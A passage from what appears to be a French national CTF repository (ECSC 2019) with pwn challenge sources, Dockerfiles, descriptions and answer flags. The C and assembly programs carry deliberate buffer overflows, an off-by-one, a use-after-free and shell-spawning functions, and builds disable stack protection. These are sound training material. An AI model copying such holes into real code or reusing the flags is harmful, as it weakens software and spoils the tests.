1 | all:
2 | 	arm-linux-gnueabi-gcc  -Wall -Wextra armigo.c -o armigo -fno-stack-protector -static -Wl,-z,relro,-z,now,-z,noexecstack
3 | 
4 | clean:
5 | 	rm *.o *~ armigo
6 | 
7 | 


--------------------------------------------------------------------------------
/pwn-HolaArmigo/README.md:
--------------------------------------------------------------------------------
 1 | # ¡ Hola Armigo !
 2 | 
 3 | | Phase          | Catégorie  |  Difficulté  | Nombre de résolutions |
 4 | |:--------------:|:----------:|:------------:|:---------------------:|
 5 | | Pré-sélections | pwn        |     Moyen    |             52 / 1241 |
 6 | 
 7 | ### Description
 8 | 
 9 | Exploitez le binaire fourni (`armigo`) pour en extraire flag.
10 | 


--------------------------------------------------------------------------------
/pwn-HolaArmigo/armigo:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ANSSI-FR/ctf/024390ed10ac1224881f3fe7b0c105214a9a800d/pwn-HolaArmigo/armigo


--------------------------------------------------------------------------------
/pwn-HolaArmigo/armigo.c:
--------------------------------------------------------------------------------
 1 | #include <stdio.h>
 2 | #include <stdlib.h>
 3 | #include <sys/types.h>
 4 | #include <unistd.h>
 5 | 
 6 | const char *shell = "cat flag";
 7 | 
 8 | void debug(char *cmd){
 9 |     system(cmd);
10 | }
11 | 
12 | int main() {
13 |     char buffer[64];
14 |     setbuf(stdout, NULL);
15 |     debug("echo \"Hello, what's your name?\"");
16 |     scanf("%s", buffer);
17 |     printf("Hello %s!\n", buffer);
18 |     return 0;
19 | }
20 | 


--------------------------------------------------------------------------------
/pwn-HolaArmigo/flag:
--------------------------------------------------------------------------------
1 | ECSC{83f0ffc67a36bb6573e8c466e22b672e678df3bf}
2 | 


--------------------------------------------------------------------------------
/pwn-HolaArmigo/run.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | qemu-arm ./armigo
3 | 


--------------------------------------------------------------------------------
/pwn-SecureVault/Dockerfile:
--------------------------------------------------------------------------------
 1 | FROM debian:stable-slim AS builder
 2 | RUN apt-get update && apt-get install -y gcc-arm-linux-gnueabi make
 3 | WORKDIR /build/
 4 | COPY SecureVault.s Makefile ./
 5 | RUN make
 6 | 
 7 | FROM debian:stable-slim
 8 | RUN apt-get update && apt-get install -y socat qemu-user libc6-armel-cross 
 9 | RUN useradd ctf
10 | WORKDIR /app/
11 | COPY --from=builder /build/SecureVault ./
12 | RUN mkdir -p .mysecretdir
13 | COPY run.sh ./
14 | COPY flag ./.mysecretdir
15 | EXPOSE 4000
16 | USER ctf
17 | CMD socat tcp-listen:4000,reuseaddr,fork exec:./run.sh
18 | 


--------------------------------------------------------------------------------
/pwn-SecureVault/Makefile:
--------------------------------------------------------------------------------
1 | CC = arm-linux-gnueabi-gcc
2 | CFLAGS = -Os -Wall -Wextra -fno-stack-protector -no-pie
3 | 
4 | all:
5 | 	$(CC) $(CFLAGS) SecureVault.s -o SecureVault
6 | 
7 | clean:
8 | 	rm *.o *~ SecureVault
9 | 


--------------------------------------------------------------------------------
/pwn-SecureVault/README.md:
--------------------------------------------------------------------------------
 1 | # Secure Vault
 2 | 
 3 | | Phase          | Catégorie  |   Difficulté   | Nombre de résolutions |
 4 | |:--------------:|:----------:|:--------------:|:---------------------:|
 5 | | Pré-sélections | pwn        |     Difficile  |              2 / 1241 |
 6 | 
 7 | ### Description
 8 | 
 9 | La société `Secure Vault` nous a contacté pour nous faire part de vol d'information sur un de leurs serveurs. Pourrez-vous leur démontrer que vous arrivez à lire le fichier `flag` ?
10 | 
11 | **Durant le CTF, aucun binaire n'était fourni avec ce challenge.**
12 | 


--------------------------------------------------------------------------------
/pwn-SecureVault/SecureVault:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ANSSI-FR/ctf/024390ed10ac1224881f3fe7b0c105214a9a800d/pwn-SecureVault/SecureVault


--------------------------------------------------------------------------------
/pwn-SecureVault/SecureVault.c:
--------------------------------------------------------------------------------
 1 | #include <time.h>
 2 | #include <stdio.h>
 3 | #include <unistd.h>
 4 | #include <string.h>
 5 | #include <stdlib.h>
 6 | 
 7 | int logtime() {
 8 |     time_t now;
 9 |     char s[32];
10 |     struct tm tim;
11 | 
12 |     now = time(NULL);
13 |     tim = *(localtime(&now));
14 |     strftime(s, 32, "%Y-%m-%d %H:%M:%S", &tim);
15 |     // 1985-04-18 02:25:00
16 | 
17 |     FILE * fp = fopen("/tmp/log.txt", "a+");
18 | 
19 |     if (!fp) {
20 |       puts("Error: cannot open /tmp/log.txt!");
21 |       fflush(NULL);
22 |       exit(1);
23 |     }
24 |     
25 |     dup2(0, 0);
26 |     fprintf(fp, "%s\n", s);
27 |     fclose(fp);
28 |     return 0;
29 | }
30 | 
31 | int check(int argc, char **argv) {
32 |     char buf[50];
33 |     logtime();
34 |     read(STDIN_FILENO, buf, 256);
35 |     return strncmp(buf, "ChAnG3_My_D3f4u1t_Pa$$w0rD", 26);
36 | }
37 | 
38 | int main(int argc, char **argv) {
39 |     setbuf(stdin, NULL);
40 |     setbuf(stdout, NULL);
41 |     setbuf(stderr, NULL);
42 |     puts("Welcome. Please enter your password:");
43 |     fflush(NULL);
44 |     if(check(argc, argv)) {
45 |         puts("Wrong password. Bye.");
46 | 	fflush(NULL);
47 |     } else {
48 |         puts("Welcome back!");
49 | 	fflush(NULL);
50 |         // Do something
51 |     }
52 |     return 0;
53 | }
54 | 


--------------------------------------------------------------------------------
/pwn-SecureVault/SecureVault.s:
--------------------------------------------------------------------------------
  1 | 	.arch armv5te
  2 | 	.eabi_attribute 20, 1
  3 | 	.eabi_attribute 21, 1
  4 | 	.eabi_attribute 23, 3
  5 | 	.eabi_attribute 24, 1
  6 | 	.eabi_attribute 25, 1
  7 | 	.eabi_attribute 26, 2
  8 | 	.eabi_attribute 30, 4
  9 | 	.eabi_attribute 34, 0
 10 | 	.eabi_attribute 18, 4
 11 | 	.file	"chall.c"
 12 | 	.text
 13 | 	.align	2
 14 | 	.global	logtime
 15 | 	.syntax unified
 16 | 	.arm
 17 | 	.fpu softvfp
 18 | 	.type	logtime, %function
 19 | logtime:
 20 | 	@ args = 0, pretend = 0, frame = 80
 21 | 	@ frame_needed = 0, uses_anonymous_args = 0
 22 | 	push	{r4, r5, lr}
 23 | 	mov	r0, #0
 24 | 	sub	sp, sp, #84
 25 | 	bl	time(PLT)
 26 | 	add	r5, sp, #4
 27 | 	str	r0, [sp]
 28 | 	mov	r0, sp
 29 | 	bl	localtime(PLT)
 30 | 	add	ip, sp, #36
 31 | 	mov	lr, r0
 32 | 	ldmia	lr!, {r0, r1, r2, r3}
 33 | 	stmia	ip!, {r0, r1, r2, r3}
 34 | 	ldmia	lr!, {r0, r1, r2, r3}
 35 | 	stmia	ip!, {r0, r1, r2, r3}
 36 | 	ldm	lr, {r0, r1, r2}
 37 | 	stm	ip, {r0, r1, r2}
 38 | 	ldr	r2, .L4
 39 | 	add	r3, sp, #36
 40 | .LPIC0:
 41 | 	add	r2, pc, r2
 42 | 	mov	r1, #32
 43 | 	mov	r0, r5
 44 | 	bl	strftime(PLT)
 45 | 	ldr	r1, .L4+4
 46 | 	ldr	r0, .L4+8
 47 | .LPIC1:
 48 | 	add	r1, pc, r1
 49 | .LPIC2:
 50 | 	add	r0, pc, r0
 51 | 	bl	fopen(PLT)
 52 | 	subs	r4, r0, #0
 53 | 	bne	.L2
 54 | 	ldr	r0, .L4+12
 55 | .LPIC3:
 56 | 	add	r0, pc, r0
 57 | 	bl	puts(PLT)
 58 | 	mov	r0, r4
 59 | 	bl	fflush(PLT)
 60 | 	mov	r0, #1
 61 | 	bl	exit(PLT)
 62 | .L2:
 63 | 	mov	r1, #0
 64 | 	mov	r0, r1
 65 | 	bl	dup2(PLT)
 66 | 	ldr	r1, .L4+16
 67 | 	mov	r2, r5
 68 | .LPIC4:
 69 | 	add	r1, pc, r1
 70 | 	mov	r0, r4
 71 | 	bl	fprintf(PLT)
 72 | 	mov	r0, r4
 73 | 	bl	fclose(PLT)
 74 | 	mov	r0, #0
 75 | 	add	sp, sp, #84
 76 | 	@ sp needed
 77 | 	pop	{r4, r5, pc}
 78 | .L5:
 79 | 	.align	2
 80 | .L4:
 81 | 	.word	.LC0-(.LPIC0+8)
 82 | 	.word	.LC1-(.LPIC1+8)
 83 | 	.word	.LC2-(.LPIC2+8)
 84 | 	.word	.LC3-(.LPIC3+8)
 85 | 	.word	.LC4-(.LPIC4+8)
 86 | 	.size	logtime, .-logtime
 87 | 	.align	2
 88 | 	.global	check
 89 | 	.syntax unified
 90 | 	.arm
 91 | 	.fpu softvfp
 92 | 	.type	check, %function
 93 | check:
 94 | 	@ args = 0, pretend = 0, frame = 56
 95 | 	@ frame_needed = 0, uses_anonymous_args = 0
 96 | 	push	{r4, lr}
 97 | 	sub	sp, sp, #56
 98 | 	add	r4, sp, #4
 99 | 	bl	logtime(PLT)
100 | 	mov	r1, r4
101 | 	mov	r2, #256
102 | 	mov	r0, #0
103 | 	bl	read(PLT)
104 | 	ldr	r1, .L8
105 | 	mov	r2, #26
106 | .LPIC5:
107 | 	add	r1, pc, r1
108 | 	mov	r0, r4
109 | 	bl	strncmp(PLT)
110 | 	add	sp, sp, #56
111 | 	@ sp needed
112 | 	pop	{r4, pc}
113 | .L9:
114 | 	.align	2
115 | .L8:
116 | 	.word	.LC5-(.LPIC5+8)
117 | 	.size	check, .-check
118 | 	.section	.text.startup,"ax",%progbits
119 | 	.align	2
120 | 	.global	main
121 | 	.syntax unified
122 | 	.arm
123 | 	.fpu softvfp
124 | 	.type	main, %function
125 | main:
126 | 	@ args = 0, pretend = 0, frame = 0
127 | 	@ frame_needed = 0, uses_anonymous_args = 0
128 | 	push	{r4, r5, r6, lr}
129 | 	ldr	r4, .L15
130 | 	ldr	r3, .L15+4
131 | .LPIC6:
132 | 	add	r4, pc, r4
133 | 	ldr	r3, [r4, r3]
134 | 	mov	r5, r0
135 | 	mov	r6, r1
136 | 	ldr	r0, [r3]
137 | 	mov	r1, #0
138 | 	bl	setbuf(PLT)
139 | 	ldr	r3, .L15+8
140 | 	mov	r1, #0
141 | 	ldr	r3, [r4, r3]
142 | 	ldr	r0, [r3]
143 | 	bl	setbuf(PLT)
144 | 	ldr	r3, .L15+12
145 | 	mov	r1, #0
146 | 	ldr	r3, [r4, r3]
147 | 	ldr	r0, [r3]
148 | 	bl	setbuf(PLT)
149 | 	ldr	r0, .L15+16
150 | .LPIC7:
151 | 	add	r0, pc, r0
152 | 	bl	puts(PLT)
153 | 	mov	r0, #0
154 | 	bl	fflush(PLT)
155 | 	mov	r1, r6
156 | 	mov	r0, r5
157 | 	bl	check(PLT)
158 | 	subs	r4, r0, #0
159 | 	beq	.L11
160 | 	ldr	r0, .L15+20
161 | .LPIC8:
162 | 	add	r0, pc, r0
163 | 	bl	puts(PLT)
164 | 	mov	r0, #0
165 | .L14:
166 | 	bl	fflush(PLT)
167 | 	mov	r3, #0
168 | 	mov     r0, r3
169 | 	pop	{r4, r5, r6, pc}
170 | .L11:
171 | 	ldr	r0, .L15+24
172 | .LPIC9:
173 | 	add	r0, pc, r0
174 | 	bl	puts(PLT)
175 | 	mov	r0, r4
176 | 	b	.L14
177 | .L16:
178 | 	.align	2
179 | .L15:
180 | 	.word	_GLOBAL_OFFSET_TABLE_-(.LPIC6+8)
181 | 	.word	stdin(GOT)
182 | 	.word	stdout(GOT)
183 | 	.word	stderr(GOT)
184 | 	.word	.LC6-(.LPIC7+8)
185 | 	.word	.LC7-(.LPIC8+8)
186 | 	.word	.LC8-(.LPIC9+8)
187 | 	.size	main, .-main
188 | 	.section	.rodata.str1.1,"aMS",%progbits,1
189 | .LC0:
190 | 	.ascii	"%Y-%m-%d %H:%M:%S\000"
191 | .LC1:
192 | 	.ascii	"a+\000"
193 | .LC2:
194 | 	.ascii	"/tmp/log.txt\000"
195 | .LC3:
196 | 	.ascii	"Error: cannot open /tmp/log.txt!\000"
197 | .LC4:
198 | 	.ascii	"%s\012\000"
199 | .LC5:
200 | 	.ascii	"ChAnG3_My_D3f4u1t_Pa$$w0rD\000"
201 | .LC6:
202 | 	.ascii	"Welcome. Please enter your password:\000"
203 | .LC7:
204 | 	.ascii	"Wrong password. Bye.\000"
205 | .LC8:
206 | 	.ascii	"Welcome back!\000"
207 | 	.ident	"GCC: (Debian 8.3.0-2) 8.3.0"
208 | 	.section	.note.GNU-stack,"",%progbits
209 | 


--------------------------------------------------------------------------------
/pwn-SecureVault/flag:
--------------------------------------------------------------------------------
1 | ECSC{53545ff036fb15a84fb9d8e35525b9340aba625f22cbaffd410673859224d823}
2 | 


--------------------------------------------------------------------------------
/pwn-SecureVault/run.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | qemu-arm -L /usr/arm-linux-gnueabi ./SecureVault
3 | 


--------------------------------------------------------------------------------
/pwn-aarchibald/Dockerfile:
--------------------------------------------------------------------------------
 1 | FROM debian:stable-slim AS builder
 2 | RUN apt-get update && apt-get install -y gcc-aarch64-linux-gnu make
 3 | WORKDIR /build/
 4 | COPY aarchibald.c Makefile ./
 5 | RUN make
 6 | 
 7 | FROM debian:stable-slim
 8 | RUN apt-get update && apt-get install -y socat qemu-user libc6-arm64-cross
 9 | RUN useradd ctf
10 | WORKDIR /app/
11 | COPY --from=builder /build/aarchibald ./
12 | COPY flag run.sh ./
13 | EXPOSE 4000
14 | USER ctf
15 | CMD socat tcp-listen:4000,reuseaddr,fork exec:./run.sh
16 | 


--------------------------------------------------------------------------------
/pwn-aarchibald/Makefile:
--------------------------------------------------------------------------------
1 | all:
2 | 	 aarch64-linux-gnu-gcc -Wall -Wextra -o aarchibald aarchibald.c -fno-stack-protector
3 | 
4 | clean:
5 | 	rm *.o *~ aarchibald
6 | 
7 | 


--------------------------------------------------------------------------------
/pwn-aarchibald/README.md:
--------------------------------------------------------------------------------
 1 | # Aarchibald
 2 | 
 3 | | Phase          | Catégorie    |       Difficulté         | Nombre de résolutions |
 4 | |:--------------:|:------------:|:------------------------:|:---------------------:|
 5 | | Pré-sélections | pwn          |     Facile               |            115 / 1241 |
 6 | 
 7 | ### Description
 8 | 
 9 | Exploitez le binaire fourni (`aarchibald`) pour en extraire flag.
10 | 


--------------------------------------------------------------------------------
/pwn-aarchibald/aarchibald:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ANSSI-FR/ctf/024390ed10ac1224881f3fe7b0c105214a9a800d/pwn-aarchibald/aarchibald


--------------------------------------------------------------------------------
/pwn-aarchibald/aarchibald.c:
--------------------------------------------------------------------------------
 1 | #include <stdlib.h>
 2 | #include <stdio.h>
 3 | #include <string.h>
 4 | 
 5 | #define PASSWORD "eCfSDFwEeAYDr" // SuPerpAsSworD
 6 | 
 7 | size_t len;
 8 | unsigned int i;
 9 | 
10 | int main() {
11 |   char password[32];
12 |   int security = 0x45435343;
13 |   
14 |   printf("Please enter your password:\n");
15 |   fflush(NULL);
16 |   fgets(password, 40, stdin);
17 | 
18 |   len = strlen(PASSWORD);
19 |   for (i=0; i<len; ++i) password[i] ^= 0x36;
20 |   
21 |   if(!strncmp(password, PASSWORD, len)) {
22 |     
23 |     printf("Welcome back!\n");
24 |     fflush(NULL);
25 |     
26 |     if (security != 0x45435343) {
27 |       printf("Entering debug mode\n");
28 |       fflush(NULL);
29 |       system("/bin/dash");
30 |     }
31 |     
32 |   } else {
33 |     printf("Sorry, that's not the correct password.\n");
34 |     printf("Bye.\n");
35 |     fflush(NULL);
36 |   }
37 |   
38 |   return 0;
39 | }
40 | 


--------------------------------------------------------------------------------
/pwn-aarchibald/flag:
--------------------------------------------------------------------------------
1 | ECSC{32fb7ccc57121703b0a9a401e269e774c561b2bc}
2 | 


--------------------------------------------------------------------------------
/pwn-aarchibald/run.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | qemu-aarch64 -L /usr/aarch64-linux-gnu/ ./aarchibald
3 | 


--------------------------------------------------------------------------------
/pwn-armory/Dockerfile:
--------------------------------------------------------------------------------
 1 | FROM debian:stable-slim AS builder
 2 | RUN apt-get update && apt-get install -y gcc-arm-linux-gnueabi make
 3 | WORKDIR /build/
 4 | COPY armory.c Makefile ./
 5 | RUN make
 6 | 
 7 | FROM debian:stable-slim
 8 | RUN apt-get update && apt-get install -y socat qemu-user libc6-armel-cross
 9 | RUN useradd ctf
10 | WORKDIR /app/
11 | COPY --from=builder /build/armory ./
12 | COPY flag run.sh ./
13 | EXPOSE 4000
14 | USER ctf
15 | CMD socat tcp-listen:4000,reuseaddr,fork exec:./run.sh
16 | 


--------------------------------------------------------------------------------
/pwn-armory/Makefile:
--------------------------------------------------------------------------------
1 | all:
2 | 	arm-linux-gnueabi-gcc -Wall -Wextra armory.c -fno-stack-protector -no-pie -Wl,-z,relro,-z,now,-z,noexecstack -o armory 
3 | 
4 | clean:
5 | 	rm *.o *~ armory
6 | 


--------------------------------------------------------------------------------
/pwn-armory/README.md:
--------------------------------------------------------------------------------
 1 | # Armory
 2 | 
 3 | | Phase          | Catégorie  |  Difficulté  | Nombre de résolutions |
 4 | |:--------------:|:----------:|:------------:|:---------------------:|
 5 | | Pré-sélections | pwn        |     Facile   |             85 / 1241 |
 6 | 
 7 | 
 8 | ### Description
 9 | 
10 | Saurez-vous exploiter le binaire fourni (`armory`) et extraire le flag ?
11 | 


--------------------------------------------------------------------------------
/pwn-armory/armory:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ANSSI-FR/ctf/024390ed10ac1224881f3fe7b0c105214a9a800d/pwn-armory/armory


--------------------------------------------------------------------------------
/pwn-armory/armory.c:
--------------------------------------------------------------------------------
 1 | #include <stdio.h>
 2 | #include <stdlib.h>
 3 | 
 4 | void evil() {
 5 |     system("/bin/dash");
 6 | }
 7 | 
 8 | int main() {
 9 |     char buffer[64];
10 |     printf("Hello, what's your name?\n");
11 |     fflush(NULL);
12 |     scanf("%s", buffer);
13 |     printf("Hello %s!\n", buffer);
14 |     fflush(NULL);
15 |     return 0;
16 | }
17 | 


--------------------------------------------------------------------------------
/pwn-armory/flag:
--------------------------------------------------------------------------------
1 | ECSC{05eb7a36ecf4d4ad82e959340439203f0316a311}
2 | 


--------------------------------------------------------------------------------
/pwn-armory/run.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | qemu-arm -L /usr/arm-linux-gnueabi ./armory
3 | 


--------------------------------------------------------------------------------
/pwn-byot/Dockerfile:
--------------------------------------------------------------------------------
 1 | FROM debian:stretch-slim AS builder
 2 | RUN apt update && apt install -y make build-essential
 3 | WORKDIR /build/
 4 | COPY byot.c byot.h Makefile ./
 5 | RUN make all
 6 | RUN strip byot
 7 | 
 8 | FROM debian:stretch-slim
 9 | RUN apt update && apt install -y socat
10 | RUN useradd ctf
11 | WORKDIR /app/
12 | COPY --from=builder /build/byot ./
13 | COPY flag ./
14 | EXPOSE 4002
15 | USER ctf
16 | CMD socat tcp-listen:4002,reuseaddr,fork exec:./byot
17 | 


--------------------------------------------------------------------------------
/pwn-byot/Makefile:
--------------------------------------------------------------------------------
 1 | TARGET = byot
 2 | LIBS =
 3 | CC = gcc
 4 | CFLAGS = -Wall -Wextra -fstack-protector -Wl,-z,noexecstack -no-pie
 5 | 
 6 | .PHONY: default all clean
 7 | 
 8 | default: $(TARGET)
 9 | all: default
10 | 
11 | OBJECTS = $(patsubst %.c, %.o, $(wildcard *.c))
12 | HEADERS = $(wildcard *.h)
13 | 
14 | %.o: %.c $(HEADERS)
15 | 	$(CC) $(CFLAGS) -c $< -o $@
16 | 
17 | .PRECIOUS: $(TARGET) $(OBJECTS)
18 | 
19 | $(TARGET): $(OBJECTS)
20 | 	$(CC) $(OBJECTS) $(CFLAGS) $(LIBS) -o $@
21 | 
22 | clean:
23 | 	-rm -f *.o
24 | 	-rm -f $(TARGET)
25 | 


--------------------------------------------------------------------------------
/pwn-byot/README.md:
--------------------------------------------------------------------------------
 1 | # Build your own team
 2 | 
 3 | | Phase          | Catégorie  |   Difficulté   | Nombre de résolutions |
 4 | |:--------------:|:----------:|:--------------:|:---------------------:|
 5 | | Finale France  | pwn        |         Moyen  |                0 / 50 |
 6 | 
 7 | 
 8 | ### Description
 9 | 
10 | Nous souhaiterions mettre à l'épreuve notre magnifique application de gestion d'équipe pour l'ECSC 2019. Mais nous sommes persuadés qu'il n'y a absolument aucun bug à l'intérieur !
11 | 
12 | SHA256(`byot`): `8f0f05c58234aaeacbf2f16e37d7a5c9e0e4f37f8a4a65db4c64e07326cff85d`.
13 | 
14 | SHA256(`libc-2.24.so`): `d37be6b076bed6b4031451c8495aca3f350273e90dd5b97721f6b167b88ce1ea`.
15 | 


--------------------------------------------------------------------------------
/pwn-byot/byot:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ANSSI-FR/ctf/024390ed10ac1224881f3fe7b0c105214a9a800d/pwn-byot/byot


--------------------------------------------------------------------------------
/pwn-byot/byot.c:
--------------------------------------------------------------------------------
  1 | /*
  2 |  * Build Your Own ECSC 2019 Team
  3 |  */
  4 | #include <stdio.h>
  5 | #include <stdlib.h>
  6 | #include <unistd.h>
  7 | #include <string.h>
  8 | #include "byot.h"
  9 | 
 10 | #define MAX_PLAYERS 10
 11 | #define BUFSIZE 128
 12 | 
 13 | /* Global variables */
 14 | struct player *players[MAX_PLAYERS]; 
 15 | struct player *selected_player;
 16 | 
 17 | void print_main_menu()
 18 | {
 19 |     puts("-=== Build Your Own Team - ECSC 2019 edition! ===-");
 20 |     puts("1. Show the ECSC 2019 team");
 21 |     puts("2. Show player");
 22 |     puts("3. Select player");
 23 |     puts("4. Add new player");
 24 |     puts("5. Remove player");
 25 |     puts("6. Edit player");
 26 |     puts("7. Exit");
 27 | }
 28 | 
 29 | void print_edit_menu()
 30 | {
 31 |     puts("-= Edit selected user menu =-");
 32 |     puts("1. Edit name");
 33 |     puts("2. Set pwn skillz points");
 34 |     puts("3. Set crypto skillz points");
 35 |     puts("4. Set web skillz points");
 36 |     puts("5. Set stega skillz points");
 37 |     puts("6. Back to main menu");
 38 | }
 39 | 
 40 | void read_input(char *buf, unsigned int len)
 41 | {
 42 |   if(fgets(buf, len, stdin)) {
 43 |     char *p;
 44 |     if((p=strchr(buf, '\n'))) { //check exist newline
 45 |       *p = 0;
 46 |     } else {
 47 |       scanf("%*[^\n]"); scanf("%*c"); //clear upto newline
 48 |     }
 49 |   }
 50 | }
 51 | 
 52 | unsigned int edit_menu()
 53 | {
 54 |     char choice[4];
 55 | 
 56 |     print_edit_menu();
 57 |     printf("Please enter your choice: ");
 58 |     read_input(choice, 4);
 59 | 
 60 |     return atoi(choice);
 61 | }
 62 | 
 63 | unsigned int main_menu()
 64 | {
 65 |     char choice[4];
 66 | 
 67 |     print_main_menu(); 
 68 |     printf("Please enter your choice: ");
 69 |     read_input(choice, 4);
 70 | 
 71 |     return atoi(choice);
 72 | }
 73 | 
 74 | /* Edit currently selected player */
 75 | void edit_player()
 76 | {
 77 |     unsigned int choice;
 78 | 
 79 |     if (selected_player != NULL)
 80 |     {
 81 |         do
 82 |         {
 83 |             choice = edit_menu();
 84 |             switch(choice)
 85 |             {
 86 |                 case 1:
 87 |                     set_name();
 88 |                     break;
 89 |                 case 2:
 90 |                     set_pwn();
 91 |                     break;
 92 |                 case 3:
 93 |                     set_crypto();
 94 |                     break;
 95 |                 case 4:
 96 |                     set_web();
 97 |                     break;
 98 |                 case 5:
 99 |                     set_stega();
100 |                     break;
101 |             }
102 |         } while (choice >= 1 && choice <= 5);
103 |     }
104 |     puts("[-] No player currently selected");
105 | }
106 | 
107 | /* Select a specific player */
108 | void select_player()
109 | {
110 |     char buf[3];
111 |     unsigned int index;
112 | 
113 |     puts("Enter the index of the player you would like to select: ");
114 |     read_input(buf, 3);
115 |     index = atoi(buf);
116 |     if (index <= MAX_PLAYERS && players[index] != NULL)
117 |     {
118 |         selected_player = players[index];
119 |         printf("Player at index %u is now selected!\n", index);
120 |         print_player(selected_player);
121 |     } 
122 |     else
123 |     {
124 |         puts("[-] Invalid Index");
125 |     }
126 | }
127 | 
128 | /* Add a new player in a free slot, if available */
129 | void add_player()
130 | {
131 |     unsigned int index;
132 |     struct player *player;
133 |     char buf[BUFSIZE];
134 | 
135 |     /* Find the next availabla slot */
136 |     for (index = 0; index < MAX_PLAYERS && players[index] != NULL; index++)
137 |         ;
138 |     /* If index is 11, than we have no more available slot on the team */
139 |     if (index == MAX_PLAYERS + 1)
140 |     {
141 |         printf("[-] Your team cannot have more than %u players!", MAX_PLAYERS);
142 |     }
143 |     else
144 |     {
145 |         printf("[!] Free slot at index %d\n", index);
146 |         player = malloc(sizeof(struct player));
147 |         if (player != NULL)
148 |         {
149 |             memset(player, 0, sizeof(struct player));
150 |             puts("Enter player name: ");
151 |             memset(buf, 0, BUFSIZE);
152 |             read_input(buf, BUFSIZE);
153 |             player->name = malloc(strlen(buf) + 1);
154 | 
155 |             if (player->name)
156 |             {
157 |                 strcpy(player->name, buf);
158 |                 puts("Enter pwn skillz [1-999]: ");
159 |                 read_input(buf, 4);
160 |                 player->pwn = atoi(buf);
161 |                 puts("Enter crypto skillz [1-999]: ");
162 |                 read_input(buf, 4);
163 |                 player->crypto = atoi(buf);
164 |                 puts("Enter web skillz [1-999]: ");
165 |                 read_input(buf, 4);
166 |                 player->web = atoi(buf);
167 |                 puts("Enter stegoguess skillz [1-999]: ");
168 |                 read_input(buf, 4);
169 |                 player->stega = atoi(buf);
170 |                 /* Store the player into the global array */
171 |                 players[index] = player;
172 |             }
173 |             else
174 |             {
175 |                 puts("[-] Allocation error: player name");
176 |             }
177 |         }
178 |         else
179 |         {
180 |             puts("[-] Allocation error: player struct");
181 |         }
182 |     }
183 | 
184 | }
185 | 
186 | /* Remove a player from the team */
187 | void remove_player()
188 | {
189 |     struct player *player;
190 |     unsigned int index;
191 |     char buf[4];
192 | 
193 |     puts("Enter the index of the player you would like to remove: ");
194 |     read_input(buf, 4);
195 |     index = atoi(buf);
196 |     if (index <= MAX_PLAYERS && players[index] != NULL)
197 |     {
198 |         player = players[index];
199 |         players[index] = NULL;
200 |         free(player->name);
201 |         free(player);
202 |         printf("[*] Player at index %u has been removed from the team\n", index);
203 |     }
204 |     else
205 |     {
206 |         puts("[-] Invalid player index");
207 |     }
208 | }
209 | 
210 | /* Edit the name of the selected player */
211 | void set_name()
212 | {
213 |     char newname[BUFSIZE];
214 |     size_t old_len, new_len;
215 |     char *newbuf;
216 | 
217 |     printf("Enter the new name for the selected player: ");
218 |     read_input(newname, BUFSIZE);
219 |     old_len = strlen(selected_player->name);
220 |     new_len = strlen(newname);
221 | 
222 |     if (new_len <= old_len)
223 |     {
224 |         strcpy(selected_player->name, newname);
225 |     }
226 |     else
227 |     {
228 |         newbuf = (char *)realloc(selected_player->name, new_len + 1);
229 |         if (newbuf != NULL)
230 |         {
231 |             selected_player->name = newbuf;
232 |             strcpy(selected_player->name, newname);
233 |         }
234 |         else
235 |         {
236 |             puts("[-] Allocation error: realloc new name");
237 |         }
238 |     }
239 | 
240 | 
241 | }
242 | 
243 | /* Set the pwn score for the selected player */
244 | void set_pwn()
245 | {
246 |     struct player* player;
247 |     char buf[4];
248 | 
249 |     printf("Enter pwn skillz [1-999]: ");
250 |     read_input(buf, 4);
251 |     player = selected_player;
252 |     player->pwn = atoi(buf);
253 | }
254 | 
255 | /* Set the crypto score for the selected player */
256 | void set_crypto()
257 | {
258 |     struct player* player;
259 |     char buf[4];
260 | 
261 |     printf("Enter crypto skillz [1-999]: ");
262 |     read_input(buf, 4);
263 |     player = selected_player;
264 |     player->crypto = atoi(buf);
265 | }
266 | 
267 | /* Set the web score for the selected player */
268 | void set_web()
269 | {
270 |     struct player* player;
271 |     char buf[4];
272 | 
273 |     printf("Enter web skillz [1-999]: ");
274 |     read_input(buf, 4);
275 |     player = selected_player;
276 |     player->web = atoi(buf);
277 | }
278 | 
279 | /* Set the stega score for the selected player */
280 | void set_stega()
281 | {
282 |     struct player* player;
283 |     char buf[4];
284 | 
285 |     printf("Enter stega skillz [1-999]: ");
286 |     read_input(buf, 4);
287 |     player = selected_player;
288 |     player->stega = atoi(buf);
289 | }
290 | 
291 | 
292 | /* Print a specific player's characteristics */
293 | void print_player(struct player* player)
294 | {
295 |     printf("Name: %s\n", player->name);
296 |     printf("- Pwn:        %d\n", player->pwn);
297 |     printf("- Crypto:     %d\n", player->crypto);
298 |     printf("- Web:        %d\n", player->web);
299 |     printf("- Stega:      %d\n", player->stega);
300 | }
301 | 
302 | /* Show the currently selected player */
303 | void show_player()
304 | {
305 |     if (selected_player != NULL)
306 |     {
307 |         print_player(selected_player);
308 |     }
309 |     else
310 |     {
311 |         puts("[-] No currently selected player");
312 |     }
313 | }
314 | 
315 | /* Show the whole team */
316 | void show_team()
317 | {
318 |     struct player *player;
319 |     unsigned int i = 0;
320 | 
321 |     puts("Behold! Here is your dream ECSC team!");
322 |     for(i = 0; i < MAX_PLAYERS; i++)
323 |     {
324 |         player = players[i];
325 |         if (player != NULL)
326 |         {
327 |             printf("Player #%d\n", i);
328 |             print_player(players[i]);
329 |         }
330 |     }
331 | }
332 | 
333 | 
334 | int main()
335 | {
336 |     unsigned int choice;
337 | 
338 |     setvbuf(stdin,  NULL, _IONBF, 0); /* turn off buffering */
339 |     setvbuf(stdout, NULL, _IONBF, 0); /* turn off buffering */
340 | 
341 |     do
342 |     {
343 |         choice = main_menu();
344 |         switch(choice)
345 |         {
346 |             case 1:
347 |                 show_team();
348 |                 break;
349 |             case 2:
350 |                 show_player();
351 |                 break;
352 |             case 3:
353 |                 select_player();
354 |                 break;
355 |             case 4:
356 |                 add_player();
357 |                 break;
358 |             case 5:
359 |                 remove_player();
360 |                 break;
361 |             case 6:
362 |                 edit_player();
363 |                 break;
364 |         }
